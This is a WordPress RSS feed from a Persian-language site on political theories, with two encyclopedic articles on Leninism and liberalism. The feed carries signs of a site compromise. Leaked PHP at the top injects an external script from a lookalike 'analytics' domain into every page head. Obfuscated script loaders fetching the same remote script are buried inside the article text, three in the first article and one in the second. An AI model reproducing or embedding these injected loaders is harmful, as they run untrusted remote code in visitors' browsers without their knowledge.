/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>لیبرالیسم &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d9%84%db%8c%d8%a8%d8%b1%d8%a7%d9%84%db%8c%d8%b3%d9%85/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:55:04 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>لیبرالیسم &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>بخش پانزدهم ایسمولوژی؛ از لنینیسم تا لیبرالیسم</title>
		<link>https://theorium.net/%d8%a8%d8%ae%d8%b4-%d9%be%d8%a7%d9%86%d8%b2%d8%af%d9%87%d9%85-%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/</link>
					<comments>https://theorium.net/%d8%a8%d8%ae%d8%b4-%d9%be%d8%a7%d9%86%d8%b2%d8%af%d9%87%d9%85-%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 27 Oct 2022 10:31:48 +0000</pubDate>
				<category><![CDATA[ایسمولوژی]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[آزادی خواهی]]></category>
		<category><![CDATA[جامعه شناسی]]></category>
		<category><![CDATA[جنبش]]></category>
		<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[لنینیسم]]></category>
		<category><![CDATA[لیبرالیسم]]></category>
		<category><![CDATA[مارکس]]></category>
		<category><![CDATA[نظریه]]></category>
		<category><![CDATA[یسمولوژی]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6692</guid>

					<description><![CDATA[<p>بخش پانزدهم ایسمولوژی؛ از لنینیسم تا لیبرالیسم بخش پانزدهم  ایسمولوژی ؛ از لنینیسم  تا لیبرالیسم ؛ بخش پانزدهم ایسمولوژی را اختصاص داده‌­ایم به برخی از مکاتب و جنبش­های اجتماعی فراگیر در قرن گذشته.  در این بخش از مجموعه مقالات ایسمولوژی ما از لنینیسم آغاز کرده‌ایم و با پرداختن به مکتب لیبرالیسم مقاله را به پایان [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a8%d8%ae%d8%b4-%d9%be%d8%a7%d9%86%d8%b2%d8%af%d9%87%d9%85-%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/">بخش پانزدهم ایسمولوژی؛ از لنینیسم تا لیبرالیسم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>بخش پانزدهم ایسمولوژی؛ از لنینیسم تا لیبرالیسم</h4>
<p>بخش پانزدهم  ایسمولوژی ؛ از لنینیسم  تا لیبرالیسم ؛ بخش پانزدهم ایسمولوژی را اختصاص داده‌­ایم به برخی از مکاتب و جنبش­های اجتماعی فراگیر در قرن گذشته.  در این بخش از مجموعه مقالات ایسمولوژی ما از لنینیسم آغاز کرده‌ایم و با پرداختن به مکتب لیبرالیسم مقاله را به پایان برده‌ایم.</p>
<h5>لنینیسم <strong><em>Leninism</em></strong> لنین‌گرایی:</h5>
<p><a href="https://en.wikipedia.org/wiki/Leninism" target="_blank" rel="noopener noreferrer">لنینیسم</a> ؛ طرفداری از سیاست ها و روش های حکومتی ولادیمیر ایلیچ اولیانوف لنین (۱۹۲۴-۱۸۷۰) صاحب نظر در فلسفۀ ماتریالیسم دیالکتیک (جدلی)، بنیانگذار حزب بُلِشویک، رهبر انقلاب اکتبر ۱۹۱۷ روسیه و بنیانگذار و رهبر شوروی در سال های ۱۹۲۴-۱۹۱۷٫</p>
<p>بر اساس تفکرات وی و پیروانش، پرولتاریا (طبقه کارگر) باید رهبری انقلاب کارگری را در اختیار گیرند. به نظر او، کارگران فقط نظریات اصلاح گرایانه ای ارائه می دهند که هدف آن پیدایش بهبودهای اندک در سرنوشت پرولتاریا در چارچوب نظام سرمایه داری است نه سرنگونی آن. لنین وجود حزب سوسیالیست انقلابی به رهبری روشنفکران مارکسیست را ضروری می دانست تا پرولتاریا را به آگاهی طبقاتی و انقلابی برساند.</p>
<p>وی در نظریات خود بین انقلاب سوسیالیتی و انقلاب ناسیونالیستی ارتباط برقرار کرد و اذعان داشت نخستین سکوی پرش کشورهای عقب مانده برای دستیابی به جامعه ای سوسیالیستی، وقوع انقلابی ناسونالیستی است. لنین بهترین راه اضحلال سلطۀ دولت های کاپیتالیستی را استفاده از وسایل نظامی و تروریستی می دانست و برای این کار به تشکیل حزبی مخفی از انقلابیون پیشرو و حرفه ای اعتقاد داشت که هدف آن حمله به دستگاه های سیاسی کاپیتالیسم از راه نظامی بود.</p>
<p style="text-align: center;"><a href="https://theorium.net/category/%d9%88%db%8c%da%a9%db%8c-%d8%aa%d8%a6%d9%88%d8%b1%db%8c/%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6694" src="https://theorium.net/wp-content/uploads/2022/10/Liberalism-300x300.png" alt="" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/10/Liberalism-300x300.png 300w, https://theorium.net/wp-content/uploads/2022/10/Liberalism-150x150.png 150w, https://theorium.net/wp-content/uploads/2022/10/Liberalism-100x100.png 100w, https://theorium.net/wp-content/uploads/2022/10/Liberalism-120x120.png 120w, https://theorium.net/wp-content/uploads/2022/10/Liberalism.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h5>لیبرالیسم  <strong><em>Liberalism</em></strong></h5>
<p><a href="https://en.wikipedia.org/wiki/Liberalism" target="_blank" rel="noopener noreferrer">آزادگرایی</a>، آزادیخواهی گرایی؛ طرفداری از مکتبی که خواهان کاهش کنترل و دخالت دولت در مسائل اقتصادی، سیاسی، اجتماعی و فرهنگی است. رویکردی در فلسفه سیاسی که در درجه اول به آزادی فردی تأکید بر فردگرایی در درون جامعه توجه دارد. آغاز این نهضت به قرن هیجدهم باز می‌گردد. لیبرالیسم‌ها نخستین مبارزه در این جهت را مبارزه بارون‌ها علیه پادشاه انگلیس می‌دانستند که به انتشار منشور بزرگ منجر گردید. از نظر فکری، آنان از اندیشۀ جان لاک (۱۷۰۴-۱۶۳۲) فیلسوف انگلیسی متأثر بودند که براساس آن، سلطنت امنیت دولتی را جایگزین امنیت فردی ساخت.</p>
<p>پیدایش کشورهای مشترک الفنافع و امپراطوری بریتانیای کبیر، برداشت انگلیسی آن را به اکثرا نقاط جهان گسترش داد. به تدریج این نظریه آگاهانه به اجرا درآمد با اوضاع و احوال محلی منطبق گردید. آزادی، هسته اصلی لیبرالیسم است که عامل مهم و نیرومندی در تاریخ قرون جدید می باشد و با میدان وسیعی از آزادی فردی، فکری و دینی تا اقتصادی و بازرگانی را در برمی گیرد.</p>
<p>در مذهب پروتستان، لیبرالیسم بدین معناست که مسحیت چیزی فراتر از مجموعه عقاید و آیین های مذهبی می باشد که توسط کلیساها به مسیحیان تحمیل شده است؛ درواقع مسحیت پرورش معنوی و فردی روح انسان است. لیبرالیسم به اقتصادی، سیاسی، فرهنگی و جدید تقسیم می شود. پیامدهای لیبرالیسم اقتصادی از نظر داخلی آن است که حکومت وظایف و نقش‌های خود را درون جامعه به حداقل برساند. لیبرالیسم از دیدگاه سیاسی نوعی آزادی را تداعی می‌کند که فرد و گروه به عنوان بالاترین هنجارها در روابط اجتماعی و سازمان‌های سیاسی مطرح می‌باشند.</p>
<p>لیبرالیسم در دولت و امور سیاسی رابطه محکمی با کاپیتالیسم و سیاست موازنۀ بازرگانی دارد. به تدریج قدرت و شأن اجتماعی بی‌پایه و اساس پادشاهان و کلیساها جای خود را به طبقۀ قدرتمند و خودساختۀ متفکران، دانشمندان و تاجرانی که معتقد بودند که رابطۀ داوطلبانۀ انسان‌ها و افراد مستقل با دولت و حکومت، قراردادی است نه براساس روابط خویشاوندی اما اگر لیبرالیسم به معنای تأکید بر آزادی‌های فردی باشد، لیبرالیسم و دموکراسی مکمل یکدیگر نخواهند بود، بخصوص در مواقعی که طبق قانون، حقوق و مقام هر شهروند کاملا تعریف شده باشد.</p>
<p>ایجاد خوشبینیِ افراطی و تخیلی به پیشرفت، طبیعت و فطرت از نقاط ضعف لیبرالیسم می‌باشد. از اصول آن عبارتند از: انزجار از استبدادگرایی و قدرت‌گرایی، تأکید بر آزادی بیان و عقاید، تأکید بر آزادی‌های فردگرایانه، تأکید بر برابری منافع ملی و بین‌المللی، تأکید بر دموکراسی‌گرایی، تأکید بر رژیم‌های حقوقی بین‌المللی برای حل اختلافات، تأکید بر کثرت‌گرایی، جایگزینی امنیت جمعی به جای دفاع شخصی، گسترش نهادهای دموکراتیک بین‌المللی. آدام اسمیت (۱۷۹۰-۱۷۲۳) اقتصاددان انگلیسی، امانوئل کانت (۱۸۰۴-۱۷۲۴) فیلسوف آلمانی، جرمی بنتام (۱۸۳۲-۱۷۴۸) فیلسوف انگلیسی، جان جیمز میل (۱۸۳۶-۱۷۷۳) فیلسوف، مورخ و اقتصاددان انگلیسی، جان استورات میل (۱۸۷۳-۱۸۰۶) فیلسوف و اقتصاددان انگلیسی، توماس هیل گرین (۱۸۸۲-۱۸۳۶) فیلسوف انگلیسی، لرد لیونل رابینز (۱۹۸۴-۱۸۹۸) اقتصاددان انگلیسی، ژان فرانسوا لیوتار (۱۹۹۸-۱۹۲۴) جامعه شناس فرانسوی، جان راولز (۲۰۰۲-۱۹۲۱) فیلسوف امریکایی و ریچارد رورتی (۲۰۰۷-۱۹۳۱) فیلسوف امریکایی از پیشگامان آن بودند و در مقابل دیکتاتورگرایی، رادیکالیسم، شرکت‌گرایی، فاشیسم، کمونیسم و نازیسم است.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a8%d8%ae%d8%b4-%d9%be%d8%a7%d9%86%d8%b2%d8%af%d9%87%d9%85-%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/">بخش پانزدهم ایسمولوژی؛ از لنینیسم تا لیبرالیسم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a8%d8%ae%d8%b4-%d9%be%d8%a7%d9%86%d8%b2%d8%af%d9%87%d9%85-%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>آزادی خواهی یا لیبرالیسم</title>
		<link>https://theorium.net/%d8%a2%d8%b2%d8%a7%d8%af%db%8c-%d8%ae%d9%88%d8%a7%d9%87%db%8c-%d8%b3%db%8c%d8%a7%d8%b3%db%8c-%d9%88-%d8%af%db%8c%d9%86%db%8c/</link>
					<comments>https://theorium.net/%d8%a2%d8%b2%d8%a7%d8%af%db%8c-%d8%ae%d9%88%d8%a7%d9%87%db%8c-%d8%b3%db%8c%d8%a7%d8%b3%db%8c-%d9%88-%d8%af%db%8c%d9%86%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Fri, 01 May 2020 12:11:34 +0000</pubDate>
				<category><![CDATA[اصطلاحات]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[آزادی خواهی]]></category>
		<category><![CDATA[بشارت مسیحی]]></category>
		<category><![CDATA[خداشناسی]]></category>
		<category><![CDATA[دین]]></category>
		<category><![CDATA[سیاست]]></category>
		<category><![CDATA[فلسفه]]></category>
		<category><![CDATA[کتاب مقدس]]></category>
		<category><![CDATA[لیبرالیسم]]></category>
		<category><![CDATA[نو_ارتودوکسی]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5417</guid>

					<description><![CDATA[<p>آزادی‌ خواهی یا لیبرالیسم در فلسفه سیاست؛ آزادی خواهی فلسفه ای سیاسی است که در قرن هجدهم آغاز شد، و پیش از ۱۹۱۴ به اوج نفوذ خود رسید. لیبرالیسم از لحاظ تاریخی با اندیشه‌ ی آزادی همراه بود، یعنی با آزادی مدنی فرد؛ نهادهای سیاسی آزاد؛ آزادی دین؛ کسب و کار آزاد و تجارت آزاد [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a2%d8%b2%d8%a7%d8%af%db%8c-%d8%ae%d9%88%d8%a7%d9%87%db%8c-%d8%b3%db%8c%d8%a7%d8%b3%db%8c-%d9%88-%d8%af%db%8c%d9%86%db%8c/">آزادی خواهی یا لیبرالیسم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><strong>آزادی‌ خواهی یا لیبرالیسم در فلسفه سیاست؛</strong></h6>
<p>آزادی خواهی فلسفه ای سیاسی است که در قرن هجدهم آغاز شد، و پیش از ۱۹۱۴ به اوج نفوذ خود رسید.</p>
<p><a href="https://theorium.net/category/%d9%88%db%8c%da%a9%db%8c-%d8%aa%d8%a6%d9%88%d8%b1%db%8c/%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/" target="_blank" rel="noopener noreferrer">لیبرالیسم</a> از لحاظ تاریخی با اندیشه‌ ی آزادی همراه بود، یعنی با آزادی مدنی فرد؛ نهادهای سیاسی آزاد؛ آزادی دین؛ کسب و کار آزاد و تجارت آزاد در اقتصاد.</p>
<p>گرچه عقاید آزادی‌ خواهانه هنوز در آموزش و پرورش، سیاست، و زندگی عمومی کشورهای اروپای باختری، آمریکای شمالی، استرالیا [استرالیا، تاسمانی، زلاند جدید، گینه‌ی نو، و جزایر وابسته] نفوذ دارد، اما احزاب آزادی‌ خواه یا به بیانی لیبرال پس از جنگ جهانی اول پیوسته پایگاه‌ شان را از دست می‌دادند.</p>
<p>این فرقی است که غالباً در این نظر اظهار می‌ شود که خیلی ها هستند که خود را آزادی‌ خواه می‌ دانند اما هیچ وقت فکر نمی‌ کنند که به یک حزب آزادی‌ خواه رای بدهند.</p>
<p>هنوز معلوم نشده است که آیا تجدید حمایت از احزاب آزادی‌ خواه در دهه‌ی ۱۹۷۰ مثلا در بریتانیا، آلمان غربی نشانه‌ های وارونه شدن این روندی است که از ۱۹۱۴ جریان داشت، یا فقط نشانه‌ ی قطع و توقف آن نوع از آزادی خواهی است.</p>
<p><a href="https://theorium.net/category/%d9%88%db%8c%da%a9%db%8c-%d8%aa%d8%a6%d9%88%d8%b1%db%8c/%d8%a7%d8%b5%d8%b7%d9%84%d8%a7%d8%ad%d8%a7%d8%aa/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5760" src="https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-300x300.jpg" alt="statue of liberty" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/05/statue-of-liberty1.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6><strong>تعبیر آزادی خواهی؛</strong></h6>
<p>آزادی‌ خواهی در مشخص‌ ترین تعبیر معاصرش بر اهمیت وجدان و عدالت در سیاست تاکید می‌ کند.</p>
<p>از حقوق اقلیت‌ های نژادی و دینی حمایت می‌ کند، و پشتیبان آزادی‌های مدنی و مدافع احقاق این حق است که هر فرد معمولی باید در تصمیم‌ هایی که مستقیماً به او مربوط می‌شود به نحوی هر چه موثرتر طرف مشورت قرار گیرد.</p>
<p>این اندیشه‌ ی آزادی‌ خواهی مشترک میان بسیاری از آزادی‌ خواهان جدید آمریکائی است که مشخصاً اعتقاد به سرمایه‌ داری مردم‌ گرا (دموکراتیک) را با پایبندی شدید به عمل اجرائی و قانون گذاری به منظور تخفیف آلام اجتماعی تلفیق می‌ کنند. در دهه‌ ی ۱۹۶۰، آزادی‌ خواهی آمریکائی را با آسانگیری اجتماعی یکی می‌ پنداشتند؛ این نکته به معنی است که این تحول مقارن با اعتراض گسترده‌ ائی بود که در پی جنگ ویتنام در جامعه‌ی آمریکا پدید آمد.</p>
<h6><strong>آزادی‌ خواهی یا لیبرالیسم در دین و خداشناسی؛</strong></h6>
<p>در دین و خداشناسی، این عقیده است که فرد یا نسل جدید، باید آزاد باشد که تعالیم درست‌ پندار یا جزم‌ ها را در صورتی که خلاف عقل یا اخلاق به نظر می‌ رسد مورد اعتراض یا انکار قرار دهد.</p>
<p>همچنین بر اساس این نگاه (آزادی خواهی و لیبرالیسم در دین و خداشناسی) افراد می توانند روش‌ های معمولی تاریخی را درباره‌ ی «کتاب مقدس» [انجیل و تورات] و دیگر متون مقدس به کار بندد.</p>
<p>بزرگ‌ ترین دانشمند الهیاتی که چنین نگرش‌ هائی داشت فریدریش شلایر ماخر (۱۷۸۶-۱۸۳۴)  بود.</p>
<p>پیش از ۱۹۱۴، به خصوص در آئین پروتستان آزادی‌ خواهِ آدولف فون هارناک (۱۸۵۱-۱۹۳۰)  و دیگران، چنین رویکردی غالباً با نگرش خوشبینی بیش از حدی به ترقی و عقل‌ مندی انسان همراه بود. از این رو است که بارتی‌ ها و سایر نمایندگان نو_ارتودوکسی بخش زیادی از این نظریه را خیانتی به بشارت مسیحی (انجیل) دانسته و محکوم کرده‌اند.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a2%d8%b2%d8%a7%d8%af%db%8c-%d8%ae%d9%88%d8%a7%d9%87%db%8c-%d8%b3%db%8c%d8%a7%d8%b3%db%8c-%d9%88-%d8%af%db%8c%d9%86%db%8c/">آزادی خواهی یا لیبرالیسم</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a2%d8%b2%d8%a7%d8%af%db%8c-%d8%ae%d9%88%d8%a7%d9%87%db%8c-%d8%b3%db%8c%d8%a7%d8%b3%db%8c-%d9%88-%d8%af%db%8c%d9%86%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>